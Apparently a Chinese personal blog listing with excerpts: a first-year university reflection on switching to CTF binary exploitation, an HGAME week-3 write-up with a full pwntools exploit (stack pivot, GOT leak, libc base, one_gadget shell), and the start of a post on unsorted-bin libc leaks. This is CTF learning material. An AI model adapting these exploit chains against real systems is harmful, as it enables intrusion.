对大一上的总结
寒假就快要结束了,我的大一上也算是彻底结束了。这篇文章简单地总结一下。
上学期做的事,总得来说有这几点
发展的方向
高考考的很不理想,也是失落了一段时间,到杭电读书其实也是有点小小的遗憾的。我校虽然就业情况十分乐观,但是挺难拿到高端岗位,职业寿命就无法得到保障。为了避免 35 岁被企业无情地优化掉,摆在面前似乎只有两条路,一是科研,二是竞赛。我的心气还是比较高的,即使在杭电,也希望能够在某些方面超过 985 的学生。就我校而言,由于各种原因,科研实力确实比不过 985 211 双一流高校,然而竞赛上面还是可以和这些学校竞争的。于是我决定要在一门竞赛上搞出成绩,也算是安慰、证明一下自己并不比 985 的学生差。高中的时候我搞过信息学竞赛,还算有点基础,按说 ACM 应该是最好的选择,但是我这个人是兴趣驱动的,不爱做的事情是肯定做不好的。两年多的 OI 生涯,学到的不是多少算法,而是明白了自己其实不喜欢研究算法。于是我在 10 月份的时候彻底与 ACM 断了关系,全面投入对 CTF-PWN 的学习当中。这个决定还是明智的,事实证明我确实是对计算机底层实现原理感兴趣,客观的来说 PWN 的学习门槛是很高的,许多利用方式在理解前看来都与魔法无异,但是我还是比较享受这个学习过程的。
…
HGAME-WEEK3-WP
pwn
blackgive
栈迁移,不要想复杂了
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
sh = process("./blackgive")
#sh = remote("")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
elf = ELF("./blackgive")
pop_rdi_ret = 0x400813
bss_base = 0x6010A0
off = 0xA0
payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(bss_base + off - 0x8) + p64(0x4007A3)
sh.recvuntil("password:")
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload)
payload = '\x00' * off + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x40070a)
sh.sendlineafter("!\n",payload)
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
payload = 'paSsw0rd'.ljust(0x20,'\x00')
payload += p64(0) + p64(libc_base + 0x4f432)
sh.sendafter("password:",payload)
sh.interactive()
without_leak
64 位 ret2dl-resolve 裸题。由于输出流都被关闭,所以无法实现 leak,考虑进行 ret2dl-resolve。由于提供了 libc,考虑通过伪造 link_map 结构体 getshell。打本地的时候,即便打通了也会有

如何利用Unsorted Bin泄露Libc基地址
这其实是一个很简单很枯燥的问题,许多题中都会用到,但是我发现好像并没有文章以该方法为主角介绍该方法,也没有对其原理做出详细解释。估计是大佬们都觉得这个问题太简单了不愿意费时间来写,而回想过去,做题时总是会记得有这样一个利用方法,但是却找不到具体的利用原理。所以我就来细讲一下这个问题。
…